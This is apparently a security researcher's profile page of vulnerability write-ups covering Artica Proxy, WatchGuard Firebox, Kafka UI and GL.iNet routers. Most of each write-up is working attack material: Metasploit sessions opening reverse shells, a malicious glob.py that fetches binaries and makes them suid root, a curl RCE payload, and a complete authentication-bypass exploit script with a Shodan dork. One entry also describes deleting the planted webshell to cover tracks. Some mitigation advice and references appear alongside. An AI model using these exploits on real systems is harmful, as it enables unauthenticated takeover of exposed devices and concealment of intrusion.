h00die-gr3y (100)
Last Login: March 23, 2024
h00die-gr3y's Latest (20) Contributions
Technical Analysis
One of the common vulnerabilities that is still around and pretty common nowadays is the Deserialization of Untrusted Data (DUD
).
DUD
is a vulnerability that can occur in software systems that use serialization and deserialization. Serialization is the process of converting an object’s state to a stream of bytes, while deserialization is the process of recreating the object from the stream of bytes.
This is typically used to exchange information between systems. Distributed systems often share objects across separate nodes, so objects must be delivered over the wire. Since objects tend to consist of many parts, it can be time-consuming to write code that handles the delivery of each individual part. Serialization enables us to save and transmit the state of an object in a standardized way. Deserialization then enables us to recreate objects after they have been serialized for transmission over the wire, between applications, through firewalls, and more.
In a system that uses DUD
, untrusted data, such as data received from an external source, is deserialized without proper validation. This can allow an attacker to inject malicious data into the system, potentially leading to security vulnerabilities such as remote code execution, unauthorized access to sensitive data, or other malicious actions (see also MITRE CWE-502: Deserialization of Untrusted Data or OWASP CWE-502: Deserialization of Untrusted Data).
And this vulnerability is one of the many that we see nowadays. Korelogic discovered a DUD
in Artica Proxy 4.50
and 4.40
in wiz.wizard.progress.php
where prior to authentication, a user can send an HTTP request to the /wizard/wiz.wizard.progress.php
endpoint. This endpoint processes the build-js
query parameter by base64 decoding the provided value without checking the data and then calling the unserialize
PHP function with the decoded value as input. More technical details can be found in the Korelogic Advisory KL-001-2024-002.
I have created a Metasploit module that will exploit this vulnerability. I did make some enhancements compared to the POC that Korelogic published. For instance, I am not overwriting the file /usr/share/artica-postfix/wizard/wiz.upload.php
but creating a randomized PHP file to trigger the remote code execution which is removed automatically after successful exploitation to cover our tracks.
Module Details
msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > info Name: Artica Proxy Unauthenticated PHP Deserialization Vulnerability Module: exploit/linux/http/artica_proxy_unauth_rce_cve_2024_2054 Platform: PHP, Unix, Linux Arch: php, cmd, x64, x86 Privileged: No License: Metasploit Framework License (BSD) Rank: Excellent Disclosed: 2024-03-05 Provided by: h00die-gr3y <h00die.gr3y@gmail.com> Jaggar Henry of KoreLogic Inc. Module side effects: ioc-in-logs artifacts-on-disk Module stability: crash-safe Module reliability: repeatable-session Available targets: Id Name -- ---- => 0 PHP 1 Unix Command 2 Linux Dropper Check supported: Yes Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/ba sics/using-metasploit.html RPORT 9000 yes The target port (TCP) SSL true no Negotiate SSL/TLS for outgoing connections SSLCert no Path to a custom SSL certificate (default is randomly generated) TARGETURI / yes The Artica Proxy endpoint URL URIPATH no The URI to use for this exploit (default is random) VHOST no HTTP server virtual host WEBSHELL no Set webshell name without extension. Name will be randomly generated if left un set. When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on t he local machine or 0.0.0.0 to listen on all addresses. SRVPORT 1981 yes The local port to listen on. When TARGET is not 0: Name Current Setting Required Description ---- --------------- -------- ----------- COMMAND passthru yes Use PHP command function (Accepted: passthru, shell_exec, system, exec) Payload information: Description: A Command Injection vulnerability in Artica Proxy appliance 4.50 and below allows remote attackers to run arbitrary commands via unauthenticated HTTP request. The Artica Proxy administrative web application will deserialize arbitrary PHP objects supplied by unauthenticated users and subsequently enable code execution as the "www-data" user. References: https://nvd.nist.gov/vuln/detail/CVE-2024-2054 https://attackerkb.com/topics/q1JUcEJjXZ/cve-2024-2054 https://packetstormsecurity.com/files/177482 View the full module info with the info -d command.
Target 0 – PHP native php/meterpreter/reverse_tcp
session
msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > set webshell cuckoo webshell => cuckoo msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > set target 0 target => 0 msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > set rhosts 192.168.201.4 rhosts => 192.168.201.4 msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > set lhost 192.168.201.8 lhost => 192.168.201.8 msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Checking if 192.168.201.4:9000 can be exploited. [+] The target is vulnerable. Artica version: 4.50 [*] Executing PHP for php/meterpreter/reverse_tcp [*] Sending stage (39927 bytes) to 192.168.201.4 [+] Deleted /usr/share/artica-postfix/wizard/cuckoo.php [*] Meterpreter session 15 opened (192.168.201.8:4444 -> 192.168.201.4:33986) at 2024-03-15 17:46:04 +0000 meterpreter > sysinfo Computer : artica-applianc OS : Linux artica-applianc 4.19.0-24-amd64 #1 SMP Debian 4.19.282-1 (2023-04-29) x86_64 Meterpreter : php/linux meterpreter > getuid Server username: www-data meterpreter >
Mitigation
If you want to test the module, you can download a vulnerable Artica Proxy appliance from here. You are strongly advised to upgrade your appliance to the latest version, but at least to a version greater then 4.50
. Another quick fix is to remove the /usr/share/artica-postfix/wizard
directory if it is not needed.
References
CVE-2024-2054
Korelogic Advisory KL-001-2024-002
MITRE CWE-502: Deserialization of Untrusted Data
OWASP CWE-502: Deserialization of Untrusted Data
Artica Proxy Appliance ISO Downloads
Metasploit PR 18967: Artica Proxy unauthenticated RCE
Credits
Credits goes to the security researcher below who discovered this vulnerability
Jaggar Henry of KoreLogic Inc.
Technical Analysis
This journey starts when you have gained initial access to the WatchGuard FireBox firewall instance as described in this attackerkb article.
The initial access is non privileged as user nobody
and /etc/fstab
shows that all filesystems are either protected with read-only
, no-suid
or no-exec
. Another interesting aspect is that there is no shell installed at all and the available unix binaries are very limited as well as busybox
which only provides a very limited command set. This makes living off the land
pretty useless except for the nmap
binary which is installed by default.
Shell Banner: Python 2.7.14 (default, Oct 16 2019, 15:38:29) [GCC 6.5.0] on linux2 ----- >>> import os >>> os.getuid() 99 >>> os.getgid() 96 >>> import subprocess >>> print(open("/etc/fstab").read()) /dev/wgrd.sysa_code / ext2 ro,noatime 1 1 /dev/wgrd.sysa_data /etc/wg ext3 rw,noexec,noatime 0 0 none /proc proc defaults 0 0 none /sys sysfs defaults 0 0 /dev/wgrd.boot /boot ext2 ro,noexec,noatime 0 0 /dev/wgrd.pending /pending ext2 rw,noexec,noatime 0 0 /dev/wgrd.var /var ext2 rw,noexec,noatime 0 0 # wg_linux platform.pkgspec >>> subprocess.call(["nmap", "127.0.0.1"]) Starting Nmap 7.70 ( https://nmap.org ) at 2024-03-08 19:55 CET Nmap scan report for localhost.localdomain (127.0.0.1) Host is up (0.0014s latency). Not shown: 990 closed ports PORT STATE SERVICE 80/tcp open http 4125/tcp open rww 4126/tcp open ddrepl 5000/tcp open upnp 5001/tcp open commplex-link 5002/tcp open rfe 5003/tcp open filemaker 5004/tcp open avt-profile-1 6001/tcp open X11:1 8080/tcp open http-proxy Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds 0 >>>
So the big question, how do we get privileged access?
Luckily, the appliance has python
installed and this heavily used by a lot of specific binaries for WatchGuard. One of those binaries is the /usr/bin/fault_rep
program, that generates a crash report whenever a program crashes. And it has the setuid
bit set on user root.
>>> subprocess.call(["ls", "-l", "/usr/bin/fault_rep"]) -rwsr-xr-x 1 root admin 31424 Sep 28 2021 /usr/bin/fault_rep 0 >>>
Having a closer look at the binary, it internally calls /usr/bin/diag_snapgen
, a python program. Here are lines of the program:
>>> print(open("/usr/bin/diag_snapgen").read()) #!/usr/bin/python # # Diagnostic Snapshot Generator # # This script runs when a fault triggers through the Fault Reporting System. # import subprocess import glob # # These files will have their contents copied into the diagnostic snapshot # file. Add (or subtract!) from this list at will. # FILES = [ '/etc/wg/bootlog', '/var/log/*.log', '/var/log/trace/*.log', '/proc/interrupts', '/proc/meminfo' ] # # These programs will have their output copied into the diagnostic snapshot # file. Add (or subtract!) from this list at will. # PROGRAMS = [ '/bin/ps', '/bin/ls -l /tmp', '/bin/df', '/bin/dmesg' ] # # Diagnostic Snapshot Generation # for i, path in enumerate(FILES): for j, name in enumerate(glob.glob(path)): print "=== %s ===" % (name) try: f = open(name) for line in f: print line, f.close() except: print "(Unable to open file!)" print for i, name in enumerate(PROGRAMS): print "=== %s ===" % (name) try: name = name.split() p = subprocess.Popen(name, stdout=subprocess.PIPE, stderr=subprocess.PIPE) out, err = p.communicate() if p.returncode: raise(Exception(err)) print out except: print "(Unable to run command!)" print >>>
This is pretty promising because glob.py
, which is imported, can be easily exchanged by a malicious program with the same name. This will run under root context.
So let’s think this thru…
- We create a malicious
glob.py
where we can run python code under the context of root.
- This python code should remount a filesystem with
exec
andread-write
rights.
- A good candidate is the
/dev/wgrd.pending
filesystem.
- We can download a static linked
bash
andbusybox
x86-64 binary from the web.
- Change the ownership to
root.admin
and set thesuid
andsgid
bit on both binaries.
- We should now be able to spin off a root shell that gives us full control on the appliance.
This sounds like a plan…
Here is malicious glob.py
code.
import subprocess, os, requests, ctypes # set root os.setuid(0) os.setgid(0) # remount /pending directory to enable suid and execution def mount(source, target, fs, options='', flags=0): ret = ctypes.CDLL('libc.so.6', use_errno=True).mount(source, target, fs, flags, options) if ret < 0: errno = ctypes.get_errno() raise RuntimeError("Error mounting {} ({}) on {} with options '{}': {}".format(source, fs, target, options, os.strerror(errno))) # 32 -- MS_REMOUNT flag mount('/dev/wgrd.pending', '/pending', 'ext2', 0, 32) # get the bash static x86_64 binary response = requests.get("https://github.com/ryanwoodsmall/static-binaries/raw/master/x86_64/bash", verify=False) with open("/pending/tmp/bash", mode="wb") as file: file.write(response.content) # get busybox static x86_64 binary response = requests.get("https://github.com/ryanwoodsmall/static-binaries/raw/master/x86_64/busybox", verify=False) with open("/pending/tmp/busybox", mode="wb") as file: file.write(response.content) # setuid and sgid bit and make world executable. Bingo, you are root now! os.chown("/pending/tmp/bash", 0, 0) os.chmod("/pending/tmp/bash", 0o6755) os.chown("/pending/tmp/busybox", 0, 0) os.chmod("/pending/tmp/busybox", 0o6755) exit()
Ok, let’s test this…
We will first upload our malicious glob.py
to /tmp
which is by default read-write, however we can not run any binaries in /tmp
except for python scripts. But that is anyhow all we need…
To ensure that our malicious glob.py
gets imported, we need to change the PYTHONPATH
to /tmp
or .
.
We than call our root suid
program /usr/bin/fault_rep
and our malicious glob.py
should do the magic.
>>> import requests >>> response = requests.get("http://192.168.201.8:1980/glob.py") >>> with open("/tmp/glob.py", mode="w") as file: ... file.write(response.content) ... >>> subprocess.call(["ls", "-l", "/tmp/glob.py"]) -rw-r--r-- 1 nobody wg 1364 Mar 8 17:03 /tmp/glob.py 0 >>>
Ok, we have successfully downloaded glob.py
. Please ensure that you have a http
server running on your attacker machine.
Next step is to set the PYTHONPATH
and run /usr/bin/fault_rep
.
>>> myenv = os.environ.copy() >>> myenv['PYTHONPATH'] = '.' >>> print(myenv) {'PYTHONPATH': '.'} >>> subprocess.check_call(["/usr/bin/fault_rep", "-r", "'a'", "-c1", "-v"], env=myenv) generating fault [01/unspecified] (Failed Assertion)... 0 >>>
Let’s check if the binaries are downloaded in /pending/tmp
directory and owned by root.admin
with suid
and sgid
bit set.
>>> subprocess.call(["ls", "-l", "/pending/tmp"]) -rwsr-sr-x 1 root admin 2772944 Mar 8 17:14 bash -rwsr-sr-x 1 root admin 1894248 Mar 8 17:14 busybox srw-r----- 1 nobody nobody 0 Mar 7 22:38 cgi -rw-r--r-- 1 root admin 0 Mar 8 16:37 configd.log srw-rw-rw- 1 nobody wg 0 Mar 7 22:38 epm srw-rw-rw- 1 root admin 0 Mar 7 22:38 geolocation -rw-r--r-- 1 nobody wg 1364 Mar 8 17:00 glob.py prw------- 1 nobody wg 0 Mar 7 22:38 radiusd prw------- 1 nobody wg 0 Mar 7 22:38 rsso-auth srwxr-xr-x 1 nobody admin 0 Mar 7 22:38 webui srw-rw-rw- 1 nobody wg 0 Mar 8 16:00 wgagent 0 >>>
Cool, the trick worked!
Let’s get our bash
root shell…
>>> subprocess.call(["/pending/tmp/bash", "-i"]) bash: cannot set terminal process group (11397): Not a tty bash: no job control in this shell bash-5.2$ /pending/tmp/busybox id /pending/tmp/busybox id uid=99(nobody) gid=96(wg) bash-5.2$
Mmm, that’s strange. Looks that suid
is not working.
Ahh, this rings a bell. Set suid
bit on a bash
shell does not work out of the box. There is -p
option that overrides this behavior.
bash-5.2# >>> subprocess.call(["/pending/tmp/bash", "-i", "-p"]) bash: cannot set terminal process group (11397): Not a tty bash: no job control in this shell bash-5.2# /pending/tmp/busybox id /pending/tmp/busybox id uid=99(nobody) gid=96(wg)
We got a root prompt, but we are still not there with full root access.
Let’s start a python session in this shell and set the suid
and sgid
once more and launch the bash
shell again.
bash-5.2# python -i python -i Python 2.7.14 (default, Oct 16 2019, 15:38:29) [GCC 6.5.0] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import os >>> os.setuid(0) >>> os.setgid(0) >>> import subprocess >>> subprocess.call(["/pending/tmp/bash", "-i"]) bash: cannot set terminal process group (12299): Not a tty bash: no job control in this shell bash-5.2# /pending/tmp/busybox id /pending/tmp/busybox id uid=0(root) gid=0(admin) bash-5.2#
Here we go!
We have full root access now.
References
CVE-2022-31791
Blind exploits to rule WatchGuard firewalls by Charles Fol
Metasploit module PR 18915
WatchGuard XTM Firebox v12.7.2 download
Credits
Credits goes to Charles Fol
of Ambionics Security who discovered this vulnerability.
Technical Analysis
Almost two years ago (28 march 2022) jbaines
published some initial analysis on this vulnerability, still questioning what exactly the modus operandus is to exploit this vulnerability. On the 29th of august 2022, Charles Fol
from Ambionics Security published a blog where in much detail several vulnerabilities are explained including this one. A similar analysis was done by Dylan Pindur
, security researcher from AssetNote which reverse engineered this CVE in more detail (find his blog here).
The most interesting part for me is the fact that the WatchGuard XTM appliance is pretty well protected and hardened. For instance, there is no unix shell installed on the virtual appliance and all filesystems are protected either with read-only
or no-exec
, no-suid
options which make it pretty hard to get privileged access. The only shell access is a old python version (2.7.14) that is installed and available for exploitation.
I will not deep dive the buffer overflow (BOF) vulnerability here because it is pretty well explained in both blogs that I mentioned above.
I created a Metasploit module that you can find here as PR 18915 which will use the BOF to get a python interactive console.
The real fun starts when you have python interactive console access and try to elevate your rights to get root
on the box. You can do this by exploiting another vulnerability CVE-2022-31791.
You can read this more detail in my technical analysis here.
Module in action
msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > options Module options (exploit/linux/http/watchguard_firebox_unauth_rce_cve_2022_26318): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metas ploit.html RPORT 8080 yes The target port (TCP) SSL true no Negotiate SSL/TLS for outgoing connections TARGETURI / yes WatchGuard Firebox base url VHOST no HTTP server virtual host Payload options (cmd/unix/reverse_python): Name Current Setting Required Description ---- --------------- -------- ----------- CreateSession true no Create a new session for every successful login LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port SHELL /usr/bin/python yes The system shell to use Exploit target: Id Name -- ---- 0 Automatic (Reverse Python Interactive Shell) View the full module info with the info, or info -d command.
msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > set rhosts 192.168.201.24 rhosts => 192.168.201.24 msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > set lhost 192.168.201.8 lhost => 192.168.201.8 msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Checking if 192.168.201.24:8080 can be exploited. [+] The target appears to be vulnerable. [*] 192.168.201.24:8080 - Attempting to exploit... [*] 192.168.201.24:8080 - Sending payload... [*] Command shell session 9 opened (192.168.201.8:4444 -> 192.168.201.24:40354) at 2024-03-03 19:50:17 +0000 Shell Banner: Python 2.7.14 (default, Oct 16 2019, 15:38:29) [GCC 6.5.0] on linux2 ----- >>> import os >>> import subprocess >>> os.listdir("./") ['debug', 'platform', 'log', 'wgapi', 'hosts', 'mdev.seq', 'admd.rsync', 'portald', 'portald_data', 'eth0mac', 'rs_sn', '.libtdts_ctrl.lck', 'fw', 'mwan.input', 'wgmsg', 'nwd_dfltmac', 'fqdn_dns_server_list', 'lm.conf', 'sw.conf', 'wcfqdn_label', 'ifmd.cfg.lock', 'wgif_dhcp_eth0.pid', 'wgif_dhcp_eth0_uds', 'wgif_eth1.cfg.lock', 'wgif_eth1.cfg', 'rootca', 'haopevent.log', 'keeper_init_uds', 'sslvpn', 'empty', 'certs.rsync', 'certs.unpack', 'csync', 'ldapsCA', 'iked.semid', 'system_hash.txt', 'iked.params', 'iked.pid', 'cdiag', 'lockout_users.xml', 'dxcpd', 'wgredir.txt', 'dimension', 'affinityd.err', 'wgif_eth0.cfg.lock', 'wgif_eth0.cfg', 'dhcp6d.conf', '6OGD.py', 'ifmd.cfg', 'dhcpd.conf', 'dnsmasq-internal.conf', 'radvd.conf', 'yDnm.py', 'HPM4.py'] >>> >>> os.getuid() 99 >>> os.getgid() 96 >>> print(open("/etc/passwd").read()) root:!$6$XlAENt8.$3RgXuDXBhgsf0FqJ0hrzmrh6qAhvMlCkU6Z976KIDI27gxIZOI0f27lkyJwubRxW5VaO4i9olIybS0Z2R9Ihw1:0:0:Administrator:/root:/bin/ash bin:x:1:1:bin:/bin: system:x:2:96:WG System daemons:/: nobody:x:99:99:Nobody:/: wgntp:x:98:98:OpenNTP daemon:/var/run/ntpd: openvpn:x:97:97:OpenVPN daemon:/: www:x:96:95:WebUI:/: cli:x:95:95:CLI:/: cfm:x:94:94:CFM:/var/cfm_sandbox: agent:x:93:96:WG Agent:/: scand:x:91:94:Scanning Daemon:/var/run/scand: spamd:x:90:94:Spam Daemon:/var/cfm_sandbox: sshd:x:89:89:sshd privilege separation:/var/empty: quagga:x:88:88:Quagga Dynamic Routing:/var/run/quagga: wgcha:x:92:96:WG Call Home Agent:/var/run/wgcha: netdbg:x:87:87:Diagnostic Utilities:/tmp/netdbg: cwagent:x:100:100:ConnectWise Agent:/var/empty: dimension:x:101:101:Dimension Service:/var/run/dimension: tss:x:102:102:trousers daemon:/: atagent:x:103:103:Autotask Agent:/var/empty: psad:x:104:104:PSA Daemon:/var/empty: guac:x:105:105:Guacamole Daemons:/var/run/guac: portald:x:106:105:Portald:/var/run/portald: admin:x:109:109:Admin Cli Access:/etc/wg/admin-home:/usr/bin/cli wgadmin:x:109:109:Admin Cli Access:/etc/wg/admin-home:/usr/bin/cli dnswatchd:x:110:96:DNSWatch Service Daemon:/var/empty: tpagent:x:111:96:Tigerpaw Agent:/var/empty: >>> print(open("/etc/group").read()) admin:x:0:0 bin:x:1:admin,bin nobody:x:99: wgntp:x:98: openvpn:x:97: wg:x:96: ui:x:95: proxy:x:94: sshd:x:89: quagga:x:88: netdbg:x:87: cwagent:x:100: dimension:x:101: tss:x:102: atagent:x:103: psad:x:104: ctlvpn:x:105: dnswatchd:x:107: >>> os.uname() ('Linux', 'FireboxV', '4.14.83', '#1 SMP Mon Sep 27 17:48:07 PDT 2021', 'x86_64') >>>
References
CVE-2022-26318
Blind exploits to rule WatchGuard firewalls by Charles Fol
Diving Deeper into WatchGuard Pre-Auth RCE – CVE-2022-26318
Metasploit module PR 18915
WatchGuard XTM Firebox v12.7.2 download
Credits
Credits goes to Charles Fol
of Ambionics Security who discovered this vulnerability.
The reverse engineering of this CVE was performed by Dylan Pindur
from AssetNote.
Technical Analysis
Kafka UI is a nice web front-end that provides a fast and lightweight web UI for managing Apache Kafka® clusters developed by provectus.
Unfortunately there is a Remote Code Execution vulnerability at the latest version 0.7.1
that was discovered and disclosed on Sep 27, 2023 to provectus, but not yet patched.
The vulnerability can be exploited via the q
parameter at /api/clusters/local/topics/{topic}/messages
endpoint which allows the use to define a Groovy
script filter. There is no sanitation of the groovy script filter before it is executed. This allows an attacker to execute arbitrary code on the server.
The vulnerable code can be found in the function groovyScriptFilter:
static Predicate<TopicMessageDTO> groovyScriptFilter(String script) { var engine = getGroovyEngine(); var compiledScript = compileScript(engine, script); var jsonSlurper = new JsonSlurper(); return new Predicate<TopicMessageDTO>() { @SneakyThrows @Override public boolean test(TopicMessageDTO msg) { var bindings = engine.createBindings(); bindings.put("partition", msg.getPartition()); bindings.put("offset", msg.getOffset()); bindings.put("timestampMs", msg.getTimestamp().toInstant().toEpochMilli()); bindings.put("keyAsText", msg.getKey()); bindings.put("valueAsText", msg.getContent()); bindings.put("headers", msg.getHeaders()); bindings.put("key", parseToJsonOrReturnAsIs(jsonSlurper, msg.getKey())); bindings.put("value", parseToJsonOrReturnAsIs(jsonSlurper, msg.getContent())); var result = compiledScript.eval(bindings); <==== vulnerable code if (result instanceof Boolean) { return (Boolean) result; } else { throw new ValidationException( "Unexpected script result: %s, Boolean should be returned instead".formatted(result)); } } }; }
The exploit is pretty simple to execute by the request below:
We are using a Groovy OS execution code snippet "touch /tmp/cuckoo".execute();
to test the vulnerability.
You need an active Kafka cluster, in this case our cluster is named local
and a topic (cuckoo
) which you can create if there are no topics.
curl 'http://192.168.201.25:8080/api/clusters/local/topics/cuckoo/messages?q=%22touch%20%2Ftmp%2Fcuckoo%22.execute()&filterQueryType=GROOVY_SCRIPT&attempt=4&limit=100&page=0&seekDirection=FORWARD&keySerde=String&valueSerde=String&seekType=BEGINNING'
/tmp $ ls -l total 4 -rw-r--r-- 1 kafkaui kafkaui 0 Jan 24 16:26 cuckoo drwxr-xr-x 2 kafkaui kafkaui 4096 Jan 24 16:25 hsperfdata_kafkaui /tmp $
Pretty simple, right?
And without any authentication!!!
If you want to make a more complex system command, you should not use "my commandline".execute()
because it can not handle unix pipe |
, redirection >
and command chaining with ;
.
You better use some Groovy scripting along the lines like below:
"Process p=new ProcessBuilder(\"sh\",\"-c\",\"<my complex cmd_line>\").redirectErrorStream(true).start()"
If you want to play around with this vulnerability, just follow the steps below to install a vulnerable Kafka-ui instance with an active Kafka cluster.
Installation steps to install Kafka ui
- Install
Docker
on your preferred platform.
- Here are the installation instructions for Docker Desktop on MacOS.
- Create a empty directory (
kafka-ui
).
- Create the following
docker-compose.yaml
file in the directory. This will automatically create a Kafka cluster with Kafka-ui. You can modify thev0.7.0
in theyaml
file to pull different versions.
version: '2' networks: rmoff_kafka: name: rmoff_kafka services: zookeeper: image: confluentinc/cp-zookeeper:latest container_name: zookeeper networks: - rmoff_kafka environment: ZOOKEEPER_CLIENT_PORT: 2181 ZOOKEEPER_TICK_TIME: 2000 ports: - 22181:2181 kafka: image: confluentinc/cp-kafka:latest container_name: kafka networks: - rmoff_kafka depends_on: - zookeeper ports: - 29092:9092 environment: KAFKA_BROKER_ID: 1 KAFKA_ZOOKEEPER_CONNECT: zookeeper:2181 KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://kafka:9092,PLAINTEXT_HOST://localhost:29092 KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: PLAINTEXT:PLAINTEXT,PLAINTEXT_HOST:PLAINTEXT KAFKA_INTER_BROKER_LISTENER_NAME: PLAINTEXT KAFKA_OFFSETS_TOPIC_REPLICATION_FACTOR: 1 kafka-ui: container_name: kafka-ui image: provectuslabs/kafka-ui:v0.7.0 networks: - rmoff_kafka ports: - 8080:8080 depends_on: - kafka - zookeeper environment: KAFKA_CLUSTERS_0_NAME: local KAFKA_CLUSTERS_0_BOOTSTRAPSERVERS: kafka:9092 KAFKA_CLUSTERS_0_ZOOKEEPER: zookeeper:2181 KAFKA_BROKERCONNECT: kafka:9092 DYNAMIC_CONFIG_ENABLED: 'true' KAFKA_CLUSTERS_0_METRICS_PORT: 9997
- Run following command
docker-compose up -d
to install and run the Kafka ui and cluster environment.
- Your Kafka ui should be accessible on
http://localhost:8080
with an active Kafka cluster running.
- You can bring down the environment for a fresh start with the command
docker-compose down --volumes
.
You are now ready to test the vulnerability.
And as usual, I took the liberty to code a nice Metasploit module that does it all for you.
You can find the module here in my local repository or as PR 18700 at Metasploit Github development.
Mitigation
Kafka-ui versions between v0.4.0
– v0.7.1
are vulnerable and there is no fix.
There is no outlook yet when it will be fixed, so do not use a default installation which has no authentication enabled.
It is strongly advised to configure Kafka-ui with basic authentication.
References
CVE-2023-52251
Kafka-ui unauthenticated RCE – h00die-gr3y Metasploit local repository
Kafka-ui unauthenticated RCE – Metasploit PR 18700
POC
Kafka-ui Github development
Credits
Technical Analysis
There is not yet an official record of this CVE available at the time of writing, but this is a critical vulnerability that gives an attacker unauthenticated access to a GL.iNet network devices. The issue is the bypass of Nginx
authentication through a Lua
string pattern matching and SQL injection vulnerability. There is an excellent writeup From zero to botnet – GL.iNet going wild by DZONERZY
who discovered this vulnerability in October 2023.
I am not gonna repeat the whole article here, because you can read it for yourself, but I will quickly summarize the issue.
The flaw sits in the /usr/sbin/gl-ngx-session
, the actual Lua
handler for the authentication mechanism which is the standard for GL.iNet network devices.
Within the this code there is a loop through the /etc/shadow file
to authenticate a user where the username is used for the lookup using a regex
.
By manipulating the username with additional regex
statements, one can manipulate the lookup, so that it retrieves the uid
field instead of the password
field, hence using this for a valid root login will return a session id (SID
) to be used for authentication.
local function login_test(username, hash) if not username or username == "" then return false end for l in io.lines("/etc/shadow") do local pw = l:match('^' .. username .. ':([^:]+)') if pw then for nonce in pairs(nonces) do if utils.md5(table.concat({username, pw, nonce}, ":")) == hash then nonces[nonce] = nil nonce_cnt = nonce_cnt - 1 return true end end return false end end
Regex injection happens inside the login_test function
; it tries to match everything from the first colon (the hashed password) until the next one.
root:$1$j9T2jD$5KGIS/2Ug.47GjW0jHOIB/2XwYUafYPh/X:19447:0:99999:7:::
With the following username: root:[^:]+:[^:]+
the regex in the code becomes ^root:[^:]+:[^:]+:([^:]+)
that shifts forward the matching group, thus making it return the uid
(which is always 0) instead of the hashed password, which means that we can always win the authentication challenge by sending the following hash: md5(<user>:0:<nonce>) -> root:[^:]+:[^:]+:0:<nonce>
.
Additionally, some ACL’s are required that are stored in the SQLite
db. This lookup, which is coded in /usr/lib/lua/oui/db.lua
, is not successful because we manipulated the username.
M.get_acl_by_username = function(username) if username == "root" then return "root" end local db = sqlite3.open(DB) local sql = string.format("SELECT acl FROM account WHERE username = '%s'", username) local aclgroup = "" for a in db:rows(sql) do aclgroup = a[1] end db:close() return aclgroup end
However, by a brilliant combination of the regex and sql injection, DZONERZY
was able to retrieve that information in one go with the username below.
roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+
Pretty cool !!!
But unfortunately quite bad for our users who bought a GL.iNet network device, because at the time of writing most of the devices that are exposed to Internet (shodan dork: title:"GL.iNet Admin Panel"
) are vulnerable for this authentication bypass.
Even worse, in combination of CVE-2023-50445 all vulnerable GL.iNet network can be exploited without any authentication required.
Please check out my attackerKB article for more info.
Below is a python script that checks if your device is vulnerable for CVE-2023-50919
.
#!/usr/bin/env python3 # Exploit Title: GL.iNet Authentication bypass # Shodan Dork: title:"GL.iNet Admin Panel" # Date: 30/12/2023 # Exploit Author: h00die-gr3y@gmail.com # Vendor Homepage: https://www.gli-inet.com # Software Link: https://dl.gl-inet.com/?model=ar300m16 # Firmware: openwrt-ar300m16-4.3.7-0913-1694589994.bin # Version: 4.3.7 # Tested on: GL.iNet AR300M16 # CVE: CVE-2023-50919 import json import requests import hashlib import time from random import randint from sys import stdout, argv requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) proxies = { 'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080', } proxies = {} # no proxy def get_challenge(url): data = { 'jsonrpc': '2.0', 'id': randint(1000, 9999), 'method': 'challenge', 'params': {'username': 'root'} } try: res = requests.post(url, json=data, verify=False, proxies=proxies) res.raise_for_status() res_json = json.loads(res.content) if 'result' in res_json: return res_json['result']['nonce'] print('[-] Error: could not find nonce') return False except requests.exceptions.RequestException: print('[-] Error while retrieving challenge') return False def login(url, username, hash): data = { 'jsonrpc': '2.0', 'id': randint(1000, 9999), 'method': 'login', 'params': { 'username': '{}'.format(username), 'hash': '{}'.format(hash)} } try: res = requests.post(url, json=data, verify=False, proxies=proxies) res.raise_for_status() res_json = json.loads(res.content) if 'result' in res_json: return res_json['result']['sid'] print('[-] Error: could not find sid') return False except requests.exceptions.RequestException: print('[-] Error while retrieving sid') return False def main(url): print('[+] Started GL.iNet - Authentication Bypass exploit') username = "roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+" pw = '0' print('[+] Get challenge and login') start = time.time() nonce = get_challenge(url+'/rpc') if nonce: print('[+] nonce: {}'.format(nonce)) hash_str = username+':'+pw+':'+nonce hash = hashlib.md5(hash_str.encode('utf-8')).hexdigest() print('[+] hash: {}'.format(hash)) sid = login(url+'/rpc', username, hash) print(f'[+] Time elapsed: {time.time() - start}') if sid: print('[+] sid: {}'.format(sid)) if __name__ == '__main__': if len(argv) < 2: print('Usage: {} <TARGET_URL>'.format(argv[0])) exit(1) main(argv[1])
# python ./auth-bypass.py http://192.168.8.1 [+] Started GL.iNet - Authentication Bypass exploit [+] Get challenge and login [+] nonce: 9B5p5lcK8V1rPu7tiwaKccPKkA8ijpwt [+] hash: 01f250624caab2acaf4feb290dd45d33 [+] Time elapsed: 2.650479793548584 [+] sid: rGZXQdxPkFzv1KwNaXTcWos6OLTnjU3e
Mitigation
The following GL.iNet network devices are vulnerable. Please patch your devices to the latest firmware release.
- A1300, AX1800, AXT1800, MT3000, MT2500/MT2500A:
v4.0.0 < v4.5.0
- MT6000:
v4.5.0 - v4.5.3
- MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300:
v4.3.7
